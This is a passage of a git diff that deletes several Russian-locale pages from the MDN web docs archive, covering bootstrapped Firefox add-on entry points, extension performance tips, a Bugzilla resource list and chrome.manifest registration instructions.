Because older versions of Firefox don't know about the bootstrap property or bootstrap.js file, it's not overly difficult to create an XPI that will work on both as a bootstrappable extension and as a traditional extension. Create your extension as a bootstrappable extension, then add the traditional overlays as well. Newer versions of Firefox will use the bootstrap.js script, ignoring the components and overlays, while older versions will use the overlays.

- -

Bootstrap entry points

- -

The bootstrap.js script should contain several specific functions, which are called by the browser to manage the extension. The script gets executed in a privileged sandbox, which is cached until the extension is shut down.

- -

startup

- -

Called when the extension needs to start itself up. This happens at application launch time, when the extension is enabled after being disabled or after it has been shut down in order to install an update. As such, this can be called many times during the lifetime of the application.

- -

This is when your add-on should inject its UI, start up any tasks it may need running and so forth.

- -
void startup(
-  data,
-  reason
-);
-
- -
Parameters
- -
-
data
-
A bootstrap data structure.
-
reason
-
One of the reason constants, indicating why the extension is being started up. This will be one of APP_STARTUP, ADDON_ENABLE, ADDON_INSTALL, ADDON_UPGRADE, or ADDON_DOWNGRADE.
-
- -

shutdown

- -

Called when the extension needs to shut itself down, such as when the application is quitting or when the extension is about to be upgraded or disabled. Any user interface that has been injected must be removed, tasks shut down, and objects disposed of.

- -
void shutdown(
-  data,
-  reason
-);
-
- -
Parameters
- -
-
data
-
A bootstrap data structure.
-
reason
-
One of the reason constants, indicating why the extension is being shut down. This will be one of APP_SHUTDOWN, ADDON_DISABLE, ADDON_UNINSTALL, ADDON_UPGRADE, or ADDON_DOWNGRADE.
-
- -

install

- -

Your bootstrap script must include an install() function, which the application calls before the first call to startup() after the extension is installed, upgraded, or downgraded.

- -
void install(
-  data,
-  reason
-);
-
- -
Parameters
- -
-
data
-
A bootstrap data structure.
-
reason
-
One of the reason constants, indicating why the extension is being installed. This will be one of ADDON_INSTALL, ADDON_UPGRADE, or ADDON_DOWNGRADE.
-
- -

uninstall

- -

This function is called after the last call to shutdown() before a particular version of an extension is uninstalled.

- -
Note: If you open the add-on manager and then click "Remove" on an add-on, it will not call uninstall function right away. This is a soft uninstall because of the available "Undo" option. If the add-on manager is closed or another event takes place such that the "Undo" option becomes unavailable, then the hard uninstall takes place and the uninstall function is called.
- -
Note: The uninstall function fires on downgrade and upgrade as well so you should make sure it is an uninstall by doing this:
-function uninstall(aData, aReason) {
-if (aReason == ADDON_UNINSTALL) {
-console.log('really uninstalling');
-} else {
-console.log('not a permanent uninstall, likely an upgrade or downgrade');
-}
-}
- -
void uninstall(
-  data,
-  reason
-);
-
- -
Parameters
- -
-
data
-
A bootstrap data structure.
-
reason
-
One of the reason constants, indicating why the extension is being uninstalled. This will be one of ADDON_UNINSTALL, ADDON_UPGRADE, or ADDON_DOWNGRADE.
-
- -

Reason constants

- -

The bootstrap functions accept a reason parameter, which explains to the extension why it's being called. The reason constants are:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ConstantValueDescription
APP_STARTUP1The application is starting up.
APP_SHUTDOWN2The application is shutting down.
ADDON_ENABLE3The add-on is being enabled.
ADDON_DISABLE4The add-on is being disabled. (Also sent during uninstallation)
ADDON_INSTALL5The add-on is being installed.
ADDON_UNINSTALL6The add-on is being uninstalled.
ADDON_UPGRADE7The add-on is being upgraded.
ADDON_DOWNGRADE8The add-on is being downgraded.
- -

Bootstrap data

- -

Each of the entry points is passed a simple data structure containing some useful information about the add-on being bootstrapped. More information about the add-on can be obtained by calling AddonManager.getAddonByID(). The data is a simple JavaScript object with the following properties:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
idstringThe ID of the add-on being bootstrapped.
versionstringThe version of the add-on being bootstrapped.
installPathnsIFileThe installation location of the add-on being bootstrapped. This may be a directory or an XPI file depending on whether the add-on is installed unpacked or not.
resourceURInsIURIA URI pointing at the root of the add-ons files, this may be a jar: or file: URI depending on whether the add-on is installed unpacked or not. {{ gecko_minversion_inline("7.0") }}
oldVersionstringThe previously installed version, if the reason is ADDON_UPGRADE or ADDON_DOWNGRADE, and the method is install or startup. {{ gecko_minversion_inline("22.0") }}
newVersionstringThe version to be installed, if the reason is ADDON_UPGRADE or ADDON_DOWNGRADE, and the method is shutdown or uninstall. {{ gecko_minversion_inline("22.0") }}
- -
-

Note: An add-on may be upgraded/downgraded at application startup, in this case the startup method reason is APP_STARTUP, and the oldVersion property is not set. Also be aware that in some circumstances an add-on upgrade/downgrade may occur without the uninstall method being called.

-
- -

Add-on debugger

- -

From Firefox 31 onwards, you can use the Add-on Debugger to debug bootstrapped add-ons.

- -

Localization (L10n)

- -

Localizing bootstrapped add-ons is very much the same since Firefox 7, as that is when chrome.manifest compatibility landed.

- -

JS and JSM Files - Using Property Files

- -

To localize your .js and .jsm files you have to use property files.

- -

The absolute minimum needed here is:

- -
    -
  1. File: install.rdf
  2. -
  3. File: chrome.manifest
  4. -
  5. File: bootstrap.js
  6. -
  7. Folder: locale -
      -
    1. Folder: VALID_LOCALE_HERE -
        -
      1. File: ANYTHING.properties
      2. -
      -
    2. -
    -
  8. -
- -

In the locale folder you must have folders for each of the languages you want to provide; each folder must be named a valid locale (ex: en-US). Inside this folder must be a property file. Inside the chrome.manifest file these locale must be defined. For example if you had a subfolder of en-US in locale folder your chrome.manifest file will have to contain: locale NAME_OF_YOUR_ADDON en-US locale/en-US/

- -

Here is an example: GitHub :: l10n-properties - on startup of this add-on it will show a prompt saying USA or Great Britain, which ever it deems closest to your locale. You can test different locale by going to about:config and changing preference of general.useragent.locale to en-US and then to en-GB and disabling then re-enabling the add-on.

- -

XUL and HTML Files - Using Entities from DTD Files

- -

Many times HTML pages are used, however they cannot be localized with DTD files. There are three changes you must make:

- -
    -
  1. You have to change the HTML file's extension to be .xhtml
  2. -
  3. The doctype must be defined point to a DTD file in your locale folder such as: <!DOCTYPE html SYSTEM "chrome://l10n/locale/mozilla.dtd">
  4. -
  5. Must add xmlns attribute to html tag for example: <html xmlns="http://www.w3.org/1999/xhtml">
  6. -
  7. If you have multiple DTD files read on here: Using multiple DTDs
  8. -
- -

The bare minimum needed is:

- -
    -
  1. File: install.rdf
  2. -
  3. File: chrome.manifest
  4. -
  5. File: bootstrap.js
  6. -
  7. Folder: locale -
      -
    1. Folder: VALID_LOCALE_HERE -
        -
      1. File: ANYTHING.dtd
      2. -
      -
    2. -
    -
  8. -
- -

The chrome.manifest file must include a definition for content for example: content NAME_OF_YOUR_ADDON ./

- -

The chrome.manifest file must also include a line pointing to the locale, just like in the above property section, if you had a folder named en-US in locale, the chrome.manifest file should contain: locale NAME_OF_YOUR_ADDON en-US locale/en-US/

- -

Here is an example add-on that opens an HTML page and a XUL page on install: GitHub :: l10n-xhtml-xul. Here is an example showing how to use a localized HTML page as an options page: GitHub :: l10n-html-options. You can go to about:config and change the value of the preference general.useragent.locale to en-US and then to en-GB and then reload the open pages to see the localization change.

- -

Further reading

- - diff --git "a/files/ru/mozilla/add-ons/\321\200\320\265\320\272\320\276\320\274\320\265\320\275\320\264\320\260\321\206\320\270\320\270_\320\277\320\276_\320\277\320\276\320\262\321\213\321\210\320\265\320\275\320\270\321\216_\320\277\321\200\320\276\320\270\320\267\320\262\320\276\320\264\320\270\321\202\320\265\320\273\321\214\320\275\320\276\321\201\321\202\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html" "b/files/ru/mozilla/add-ons/\321\200\320\265\320\272\320\276\320\274\320\265\320\275\320\264\320\260\321\206\320\270\320\270_\320\277\320\276_\320\277\320\276\320\262\321\213\321\210\320\265\320\275\320\270\321\216_\320\277\321\200\320\276\320\270\320\267\320\262\320\276\320\264\320\270\321\202\320\265\320\273\321\214\320\275\320\276\321\201\321\202\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html" deleted file mode 100644 index 4442856118..0000000000 --- "a/files/ru/mozilla/add-ons/\321\200\320\265\320\272\320\276\320\274\320\265\320\275\320\264\320\260\321\206\320\270\320\270_\320\277\320\276_\320\277\320\276\320\262\321\213\321\210\320\265\320\275\320\270\321\216_\320\277\321\200\320\276\320\270\320\267\320\262\320\276\320\264\320\270\321\202\320\265\320\273\321\214\320\275\320\276\321\201\321\202\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html" +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Рекомендации по повышению производительности расширений -slug: Mozilla/Add-ons/Рекомендации_по_повышению_производительности_расширений -tags: - - Быстродействие - - Лучшие практики - - Плагины - - Производительность - - Расширения - - Руководство -translation_of: Archive/Add-ons/Performance_best_practices_in_extensions ---- -

Одно из самых значительных преимуществ браузера Firefox заключается в его чрезвычайной расширяемости. Благодаря дополнениям можно сделать практически что угодно. Есть и обратная сторона медали: плохо написанные расширения могут оказывать серьезное влияние на просмотр сайтов, в том числе и на производительность браузера Firefox в целом. Эта статья предлагает вашему вниманию лучшие практики и рекомендации, которые позволят повысить производительность и быстродействие не только вашего расширения, но также и самого браузера Firefox.

- -

Увеличиваем скорость запуска

- -

Расширения загружаются и выполняются всякий раз, когда открывается новое окно браузера. Это значит, что при каждом открытии окна ваше расширение может задерживать вывод желаемого контента на экран. Есть несколько способов уменьшения времени задержки вывода пользовательского контента.

- -

Загружайте только то, что вам действительно требуется

- -

В момент запуска плагина не следует загружать то, что понадобится только после нажатия пользователем на кнопку, или то, что понадобится только при включенной опции, если сейчас она выключена. Если ваше расширение предоставляет функции, доступные только после авторизации пользователя в сервисе, не следует загружать ресурсы для этих функций до тех пор, пока пользователь фактически не пройдет процедуру авторизации.

- -

Используйте модули JavaScript

- -

Вы можете создать собственный модуль JavaScript, объединив набор функций, которые нужны только в определенных ситуациях. Это упростит загрузку блоков кода вашего расширения на лету, вместо загрузки всего сразу.

- -

Несмотря на то, что модули JavaScript могут быть чрезвычайно полезны и давать прирост производительности, они должны применяться разумно. Загрузка модулей все же несет небольшие затраты, поэтому разбивка кода на ненужные уровни может привести к негативным результатам. Код должен быть разбит на модули так, чтобы от этого улучшалась его понятность, а загрузка крупных или требующих больших затрат блоков кода могла быть значительно отсрочена.

- -

Отсрочивайте все, что возможно

- -

У большинства расширений есть обработчик события загрузки в главном оверлее, который выполняет функцию при запуске браузера. Выполняйте в этой функции как можно меньше кода. Окно браузера зависает до тех пор, пока обработчик загрузки вашего плагина полностью не выполнится, поэтому чем больше в нем осуществляется действий, тем медленнее Firefox кажется пользователю.

- -

Если что-то можно сделать пусть даже на долю секунды позже, используйте методы {{ interface("nsITimer") }} или {{ domxref("window.setTimeout()") }} для того, чтобы отложить это действие на потом. Даже короткая отсрочка может иметь большое влияние на быстродействие.

- -

Общие вопросы производительности

- -

Избегайте утечек памяти

- -

Утечки памяти вынуждают сборщик мусора и сборщик циклических ссылок (cycle collector) выполнять больший объем работы, а это в значительной мере сказывается на быстродействии.

- -

Зомби-ячейки (zombie compartments) - это особый вид утечки памяти, который можно легко выявить. Загляните на страницу Зомби-ячейки, особенно раздел Проактивная проверка плагинов.

- -

Ознакомьтесь с разделом Распространенные причины утечек памяти в расширениях, чтобы узнать, как избежать возникновения зомби-ячеек и других видов утечек.

- -

Помимо поиска различных видов утечек памяти, стоит также проверить функционал вашего расширения и содержимое вкладки about:memory на предмет избыточного потребления памяти. Например, ошибка 719601 приводила к тому, что ячейка JavaScript содержала сотни мегабайт памяти, что гораздо больше, чем обычно.

- -

Избегайте написания медленных таблиц стилей CSS

- - - -

Избегайте использования технологии DOM Mutation Events

- -

Технология прослушивания изменений DOM чрезвычайно затратна по ресурсам, ее использование приводит к значительному ухудшению быстродействия. Так как она официально признана нерекомендуемой для применения, при этом имеется множество аналогов, ее следует всячески избегать.

- -

Используйте методы ленивой загрузки

- -

JavaScript-модуль XPCOMUtils предоставляет два метрода ленивой (отложенной) загрузки:

- - - -

Множество распространенных сервисов уже закэшированы для вас в модуле Services.jsm.

- -

Используйте ассинхронный ввод/вывод

- -

Это следует подчеркнуть: никогда не выполняйте синхронный ввод/вывод в главном потоке.

- -

Любой ввод/вывод в главном потоке, будь то активность жесткого диска или сетевая активность, может стать причиной серьезных проблем с временем отклика интерфейса пользователя.

- - - -

Избегайте событий перемещения мыши

- -

Избегайте использования обработчиков событий мыши, включая такие события, как mouseover, mouseout, mouseenter, mouseexit, и особенно mousemove. Они возникают довольно часто, поэтому их обработчики способны в значительной мере повысить нагрузку на процессор.

- -

Когда без них обойтись не получается, во время обработки события должен выполняться минимум вычислений, а существенная работа приостановлена. Обработчики должны добавляться к наиболее вероятному элементу, и удаляться, если непосредственно не требуются в данный момент.

- -

Избегайте анимированных изображений

- -

Анимированные изображения значительно более ресурсозатратны, чем считалось ранее, особенно когда используются в элементах {{ XULElem("tree") }}.

- -

Рассмотрите возможность применения Chrome Workers

- -

Вы можете использовать {{ domxref("ChromeWorker") }} для выполнения длительных задач или обработки данных.

- -

Смотрите также

- - diff --git a/files/ru/mozilla/bugzilla/index.html b/files/ru/mozilla/bugzilla/index.html deleted file mode 100644 index d5ed0cb163..0000000000 --- a/files/ru/mozilla/bugzilla/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Bugzilla -slug: Mozilla/Bugzilla -tags: - - Bugzilla - - QA - - Разработка Mozilla - - 'Разработка Mozilla:Инструменты' - - инструменты -translation_of: Mozilla/Bugzilla ---- -

bugzilla.mozilla.org (часто используются аббревиатуры b.m.o и bmo) — это система отслеживания багов Mozilla.org. Это по сути база данных для учета багов и запросов по улучшению Firefox, Thunderbird, SeaMonkey, Camino, и других проектов mozilla.org.

- -
-
-

Документация к B.m.o.

- -
-
Что можно, а что нельзя делать в Bugzilla [en]
-
Советы, как использовать Bugzilla, а также вещи которых следует избегать на b.m.o. [en]
-
Этикет Bugzilla [en]
-
Руководство по этикету. Оно поможет Вам понять как следует вести себя на b.m.o., что такое хорошие манеры и вежливость и как это позволит решить Вашу проблему быстрее.
-
Как понять, не был ли баг уже зарегистрирован [en]
-
Полезно (но не обязательно) проверить, не зарегистровал ли уже кто-нибудь проблему, о которой Вы собираетесь сообщить.  И здесь можно узнать как это сделать.
-
Контроль качества [en]
-
Документация касательно контроля качества в Mozilla.
-
Руководство по описанию багов [en]
-
Как правильно, и понятно для других описать баг, чтобы команда разработки могла быстро приступить к его исправлению или отслеживанию.
-
Как отправить исправление/патч [en]
-
Если Вы исправили баг, или реализовали новую функцию, то нужно внести Ваше исправление в дерево проекта, чтобы он стал частью продукта. Как это сделать, можно узнать здесь.
-
- -

Смотреть остальное… [en]

-
- -
-

Другие материалы

- -
    -
  • Введение в Bugzilla
  • -
  • Bugzilla for humans
  • -
  • Bugzilla QuickSearch help page [en]. QuickSearch это быстрый, легкий и очень эффективный способ запросов к bugzilla.
  • -
  • Testopia [en] — расширение для управления тестами
  • -
  • bugzilla.org - сайт проекта
  • -
  • {{ interwiki('wikipedia', 'Bugzilla', 'wikipedia:Bugzilla') }} - общее описание Bugzilla (not specific to Mozilla projects)
  • -
- -

Инструменты

- -
    -
  • Bugzilla Todos lists review and flag requests, patches to check in, unfulfilled requests you made of other people, and assigned bugs.
  • -
-
-
diff --git a/files/ru/mozilla/chrome_registration/index.html b/files/ru/mozilla/chrome_registration/index.html deleted file mode 100644 index 7bf9bfb843..0000000000 --- a/files/ru/mozilla/chrome_registration/index.html +++ /dev/null @@ -1,358 +0,0 @@ ---- -title: Chrome registration -slug: Mozilla/Chrome_Registration -translation_of: Mozilla/Chrome_Registration ---- -

Что такое chrome?

- -

Chrome — это набор всех элементов UI в окне приложения, за исключением самого контента web-страницы. Панели инструментов, строки меню, индикаторы загрузки и панели заголовков окон — все это примеры элементов, которые обычно являются частью chrome.

- -

Mozilla находит и считывает корневой chrome.manifest файл в поисках расширений и тем оформления.

- -
-

Примечание: В версии {{Gecko("1.9.2")}} и старше Mozilla считывает chrome/*.manifest файлы из приложений. Начиная с {{Gecko("2.0")}}, корневой chrome.manifestединственный используемый манифест; добавить дополнительные манифесты можно с помощью команды manifest, прописанной в корневом манифесте.

-
- -

Chrome-провайдеры

- -

Источник chrome для определенного типа окон (например, для окна браузера) называется chrome-провайдером (англ. provider — поставщик). Провайдеры, или поставщики, работают совместно, чтобы обеспечить полный набор элементов chrome для каждого конкретного окна, начиная от иконок на панелях инструментов, заканчивая файлами описания текста, контента и внешнего вида окна как такового.

- -

Существует три основных вида ресурсов chrome:

- -
-
Content
-
Главный исходный файл для описания окна исходит от провайдера content, он может быть любого типа, который сможеть обработать Mozilla. Скорее всего это будет XUL-файл, поскольку XUL спроектирован для описания содержимого окон и диалогов. JavaScript файлы, описывающие UI, также приведены в пакетах провайдера content, равно как и большинство XBL файлов сборки.
-
Locale
-
Локализуемые приложения содержат все переводы и связанную с локализацией информацию в провайдере locale. Такой подход позволяет переводчикам переводить только сами chrome-пакеты, не затрагивая основной исходный код. Два основных типа файлов локализации: DTD файлы и Java-подобные файлы свойств.
-
Skin
-
Провайдер skin отвечает за предоставление полного набора файлов, описывающих внешний вид chrome. Обычно это CSS файлы и изображения.
-
- -
-

Примечание: Скрипты (включая те, которые найдены в XBL), загруженные из провайдера skin, не будут запущены на исполнение.

-
- -

Реестр chrome

- -

Среда Gecko предоставляет сервис, известный как реестр chrome. Этот сервис обеспечивает преобразование имен из chrome-пакетов в физическое расположение этих пакетов на диске.

- -

Реестр chrome настраиваем и имеет строгую структуру, поэтому пользователь может устанавливать сторонние провайдеры chrome, и, таким образом, изменять внешний вид и локализацию. Это делается при помощи XPInstall и менеджера расширений.

- -

Для того, чтобы сообщить реестру о новом доступном chrome, используется текстовый манифест: файл chrome.manifest в корне расширения, темы, или приложения XULRunner.

- -

Текстовый манифест использует простую строчную разметку: каждая строка парсится отдельно. Если строка определяется реестром как валидная, то он выполняет действие или команду, описываемые этой строкой. Иначе строка игнорируется, а в консоль выводится сообщение об ошибке.

- -
locale packagename localename path/to/files
-skin packagename skinname path/to/files
-
- -
-

Примечание: В названии пакета недопустимо использование символов @ # ; : ? /

-
- -

Firefox 2, Thunderbird 2 и SeaMonkey 1.1 не увидят chrome, если packagename содержит название, состоящее из букв разных регистров. Если пример выше содержит packagename CamelCasePackage, возникнет ошибка, примерное содержание: "No chrome registered for chrome://camelcasepackage/path/to/files". Firefox 3, Thunderbird 3 и SeaMonkey 2 поддерживают название из букв разного регистра. Баг разрешен в Mozilla 1.9; см. {{bug(132183)}}.

- -

Инструкции в манифесте

- -

Комментарии

- -

Комментарием считается любая строчка, начинающаяся с символа решётки ('#'). Всё написанное в комментарии игнорируется.

- -
# эта строчка - комментарий. здесь можно писать что угодно
-
- -

manifest

- -

{{ gecko_minversion_inline("2.0b4") }}

- -
manifest subdirectory/foo.manifest [flags]
-
- -

Эта инструкция загрузит вспомогательный манифест. Это может быть полезно для разделения компонента и инструкции регистрации chrome, или разделения регистрационных данных, зависящих от платформы.

- -

binary-component

- -

{{ gecko_minversion_inline("2.0b2") }}

- -
binary-component components/mycomponent.dll [flags]
-
- -

Даёт Mozilla указание к регистрации и использованию бинарного компонента. Эта инструкция должны комбинироваться с флагом abi (двоичного интерфейса приложений), так как бинарные компоненты зависят от ABI. Вплоть до Firefox 4 файлы в директориях компонентов регистрировались автоматически.

- -

interfaces

- -

{{ gecko_minversion_inline("2.0b2") }}

- -
interfaces component/mycomponent.xpt [flags]
-
- -

Даёт указание загрузить информацию об интерфейсе из typelib-файла, созданного XPIDL.

- -

Instructs Mozilla to load interface information from a typelib file produced by XPIDL. Вплоть до Firefox 4 файлы в директориях компонентов регистрировались автоматически.

- -

component

- -

{{ gecko_minversion_inline("2.0b2") }}

- -
component {00000000-0000-0000-0000-000000000000}
-components/mycomponent.js [flags]
-
- -

Даёт Mozilla CID компонента, реализованного компонентом XPCOM на JavaScript или любом другом поддерживаемом языке. ClassID {0000...} должен совпадать с ClassID компонента. Для генерации уникального ClassID, можно возпользоваться любым UUID генератором.

- -

contract

- -

{{ gecko_minversion_inline("2.0b2") }}

- -
contract
-@foobar/mycontract;1 {00000000-0000-0000-0000-000000000000} [flags]
-
- -

Сопостовляет читабельный ID договора с ClassID для точной реализации. Обычно ID договора работает в паре с объявлением компонента, указанным непосредственно перед записью contract.

- -

category

- -

{{ gecko_minversion_inline("2.0b2") }}

- -
category category entry-name value [flags]
-
- -

Регистрирует запись в менеджер категорий. Особенности формата и значения записей категорий зависят от категории.

- -

content

- -

Пакет content регистрируется строчкой

- -
content packagename uri/to/files/ [flags]
-
- -

Это нужно для объявления пути, используемого при разрешении URI типа chrome://packagename/content/.... Этот URI может быть как абсолютным, так и относительным по отношению к манифеста. Внимание: он должен заканчиваться слэшем ('/').

- -

locale

- -

Регистрация пакета локализации происходит при помощи строки

- -
locale packagename localename uri/to/files/ [flags]
-
- -

Такая инструкция зарегистрирует пакет локализации при разрешении URI типа chrome://packagename/locale/... . Обычно localename это текстовой идентификатор страны "ru" или языка-страны "ru-RU". Если для пакета зарегистрировано несколько локализаций, реестр выберет наиболее подходящий для пользователя, учитывая пользовательские настройки языка.

- -

skin

- -
skin packagename skinname uri/to/files/ [flags]
-
- -

Такая инструкция зарегистрирует пакет оформления при разрешении URI типа chrome://packagename/skin/... . skinname это строка, идентифицирующая установленный скин. Если для пакета зарегистрировано несколько оформлений, реестр выберет наиболее подходящий для пользователя, учитывая пользовательские настройки.

- -

overlay

- -

Оверлеи XUL регистрируются следующим образом:

- -
overlay chrome://URI-to-be-overlaid chrome://overlay-URI [flags]
-
- -

style

- -

Оверлеи стилей (особый CSS-файл, применяющийся к странице chrome) регистрируются следующим образом:

- -
style chrome://URI-to-style chrome://stylesheet-URI [flags]
-
- -
Примечание: Таким образом могут быть использованы только стили, использующие URI chrome://.
- -
 
- -

override

- -

In some cases an extension or embedder may wish to override a chrome file provided by the application or XULRunner. In order to allow for this, the chrome registration manifest allows for "override" instructions:

- -
override chrome://package/type/original-uri.whatever new-resolved-URI [flags]
-
- -

Note: overrides are not recursive (so overriding chrome://foo/content/bar/ with file:///home/john/blah/ will not usually do what you want or expect it to do). Also, the path inside overridden files is relative to the overridden path, not the original one (this can be annoying and/or useful in CSS files, for example).

- -
-

Note: There was a bug in {{Gecko("1.8.1.5")}} (Firefox 2.0.0.5) and earlier where you could not use a relative URL for the new-resolved-URI parameter. You needed to provide an absolute URL. See {{ Bug(323455) }}.

-
- -

resource

- -

{{ Fx_minversion_inline("3") }}

- -

Aliases can be created using the resource instruction:

- -
resource aliasname uri/to/files/ [flags]
-
- -

This will create a mapping for resource://<aliasname>/ URIs to the path given.

- -
-

Note: There are no security restrictions preventing web content from including content at resource: URIs, so take care what you make visible there.

-
- -

Manifest flags

- -

Manifest lines can have multiple, space-delimited flags added at the end of the registration line. These flags mark special attributes of chrome in that package, or limit the conditions under which the line is used.

- -

application

- -

Extensions may install into multiple applications. There may be chrome registration lines which only apply to one particular application. The flag

- -
application=app-ID
-
- -

indicates that the instruction should only be applied if the extension is installed into the application identified by app-ID. Multiple application flags may be included on a single line, in which case the line is applied if any of the flags match.

- -

This example shows how a different overlay can be used for different applications:

- -
overlay chrome://browser/content/browser.xul chrome://myaddon/content/ffOverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384}
-overlay chrome://messenger/content/mailWindowOverlay.xul chrome://myaddon/content/tbOverlay.xul application={3550f703-e582-4d05-9a08-453d09bdfdc6}
-overlay chrome://songbird/content/xul/layoutBaseOverlay.xul chrome://myaddon/content/sbOverlay.xul application=songbird@songbirdnest.com
-
- -

appversion

- -

Extensions may install into multiple versions of an application. There may be chrome registration lines which only apply to a particular application version. The flag

- -
appversion=version
-appversion<version
-appversion<=version
-appversion>version
-appversion>=version
-
- -

indicates that the instruction should only be applied if the extension is installed into the application version identified. Multiple appversion flags may be included on a single line, in which case the line is applied if any of the flags match. The version string must conform to the Toolkit version format.

- -
-

Note: Versions of Gecko before {{Gecko("1.8.0.13")}} and {{Gecko("1.8.1.5")}} contained a bug where if you use the comparisons <, > or =, the version string had be two or more characters long. If not, you would get a message in the error console that the appversion flag was not recognized. See {{ Bug(380398) }}.

-
- -

platformversion

- -

{{ gecko_minversion_inline("8.0") }} When supporting more then one application, it is often more convenient for an extension to specify which Gecko version it is compatible with. This is particularly true for binary components. If there are chrome registration lines which only apply to a particular Gecko version, the flag

- -
platformversion=version
-platformversion<version
-platformversion<=version
-platformversion>version
-platformversion>=version
-
- -

indicates that the instruction should only be applied if the extension is installed into an application using the Gecko version identified. Multiple platformversion flags may be included on a single line, in which case the line is applied if any of the flags match.

- -

contentaccessible

- -

{{ Fx_minversion_inline("3") }} Chrome resources can no longer be referenced from within <img>, <script>, or other elements contained in, or added to, content that was loaded from an untrusted source. This restriction applies to both elements defined by the untrusted source and to elements added by trusted extensions. If such references need to be explicitly allowed, set the contentaccessible flag to yes to obtain the behavior found in older versions of Firefox. See {{ bug("436989") }}.

- -

The contentaccessible flag applies only to content packages: it is not recognized for locale or skin registration. However, the matching locale and skin packages will also be exposed to content.

- -

n.b.: Because older versions of Firefox do not understand the contentaccessible flag, any extension designed to work with both Firefox 3 and older versions of Firefox will need to provide a fallback. For example:

- -
content packagename chrome/path/
-content packagename chrome/path/ contentaccessible=yes
-
- -

os

- -

{{ Fx_minversion_inline("3") }} Extensions (or themes) may offer different features depending on the operating system on which Firefox is running. The value is compared to the value of OS_TARGET for the platform.

- -
os=WINNT
-os=Darwin
-
- -

See OS_TARGET for a more complete list of os names. The os name is case insensitive.

- -

osversion

- -

{{ Fx_minversion_inline("3") }} An extension or theme may need to operate differently depending on which version of an operating system is running. For example, a theme may wish to adopt a different look on Mac OS X 10.5 than 10.4:

- -
osversion>=10.5
-
- -

abi

- -

{{ Fx_minversion_inline("4") }} If a component is only compatible with a particular ABI, it can specify which ABI/OS by using this directive. The value is taken from the nsIXULRuntime OS and XPCOMABI values (concatenated with an underscore). For example:

- -
binary-component component/myLib.dll abi=WINNT_x86-MSVC
-binary-component component/myLib.so abi=Linux_x86-gcc3 
-
- -

See XPCOM ABI for more details.

- -

platform (Platform-specific packages)

- -

Some packages are marked with a special flag indicating that they are platform specific. Some parts of content, skin, and locales may be different based on the platform being run. These packages contain three different sets of files, for Windows and OS/2, Macintosh, and Unix-like platforms. For example, the order of the "OK" and "Cancel" buttons in a dialog is different, as well as the names of some items.

- -

The "platform" modifier is only parsed for content registration; it is not recognized for locale or skin registration. However, it applies to content, locale, and skin parts of the package, when specified.

- -

To indicate that a package is platform-specific, add the "platform" modifier to the "content" line after the path, for example:

- -
content global-platform jar:toolkit.jar!/toolkit/content/global-platform/ platform
-
- -

Once that is specified in your manifest you then ensure that under the directory global-platform are subdirectories win (Windows/OS2), mac (OS9/OSX), or unix (Everything Else). Anything residing outside of these subdirectories will be ignored.

- -

xpcnativewrappers

- -

Chrome packages can decide whether to use the XPCNativeWrapper security mechanism to automatically protect their code against malicious content that they might access. See Safely accessing content DOM from chrome for details.

- -

This flag is enabled by default since Firefox 1.5. Disabling it manually was possible by specifying xpcnativewrappers=no until Firefox 4.

- -
-

Note: Support for this flag has been removed in {{Gecko("2.0")}}. You can no longer disable XPCNativeWrappers. To update your add-on to work without this flag:

- -
    -
  • If your add-on depends upon XBL bindings attached to content objects (that is, it needs to be able to call functions or get and set properties created by the XBL binding), you'll need to use the object's wrappedJSObject property to obtain a wrapped object.
  • -
  • If you need to call functions or access properties defined by the content -- for example, if your add-on wants to add a button to the page that calls a JavaScript function defined by the page.
  • -
-
- -

The xpcnativewrappers flag applies only to content packages; it is not recognized for locale or skin registration.

- -

Example chrome manifest

- -
content       necko                   jar:comm.jar!/content/necko/
-locale        necko       en-US       jar:en-US.jar!/locale/en-US/necko/
-content       xbl-marquee             jar:comm.jar!/content/xbl-marquee/
-content       pipnss                  jar:pipnss.jar!/content/pipnss/
-locale        pipnss      en-US       jar:en-US.jar!/locale/en-US/pipnss/
-# Firefox-only
-overlay chrome://browser/content/pageInfo.xul           chrome://pippki/content/PageInfoOverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384}
-# SeaMonkey-only
-overlay chrome://navigator/content/pageInfo.xul         chrome://pippki/content/PageInfoOverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}
-overlay chrome://communicator/content/pref/preftree.xul chrome://pippki/content/PrefOverlay.xul
-content       pippki                  jar:pippki.jar!/content/pippki/
-locale        pippki      en-US       jar:en-US.jar!/locale/en-US/pippki/
-content       global-platform         jar:toolkit.jar!/content/global-platform/ platform
-skin          global      classic/1.0 jar:classic.jar!/skin/classic/global/
-override chrome://global/content/netError.xhtml jar:embedder.jar!/global/content/netError.xhtml
-content       inspector               jar:inspector.jar!/content/inspector/
-
- -

Instructions supported in bootstrapped add-ons

- -

The following instructions are supported in Bootstrapped extensions:

- - - -

Debugging a chrome manifest file

- -

The Chrome List extension (for Firefox 3.6 and older) shows all registered chrome. This is very helpful when trying to write a chrome.manifest file as you can inspect where the files are being mapped from (jar files, local directory, etc.)

- -

Old-style contents.rdf manifests

- -

Before the plaintext manifests were introduced (which happened in Firefox 1.5, Toolkit 1.8), RDF manifests named "contents.rdf" were used to register chrome. This format is deprecated; however, SeaMonkey versions before version 2 do not support the plaintext manifest format yet, so contents.rdf manifests are required for extensions that wish to maintain backwards compatibility with Firefox 1.0 or the suite.

- -

{{ gecko_minversion_note("1.9.2", "The contents.rdf manifest format is no longer supported at all starting with Gecko 1.9.2; add-ons already installed using this format will continue to work but can no longer be installed. Be sure to remove your add-on and reinstall it to ensure that it installs correctly after updating it to use a plaintext manifest.") }}

- -

Official references for Toolkit API

- -

{{ page("en-US/docs/Toolkit_API/Official_References") }}

- -

{{ languages( { "fr": "fr/Enregistrement_chrome", "ja": "ja/Chrome_Registration", "pl": "pl/Rejestracja_Chrome" ,"zh-cn":"zh-cn/Chrome_Registration"} ) }}

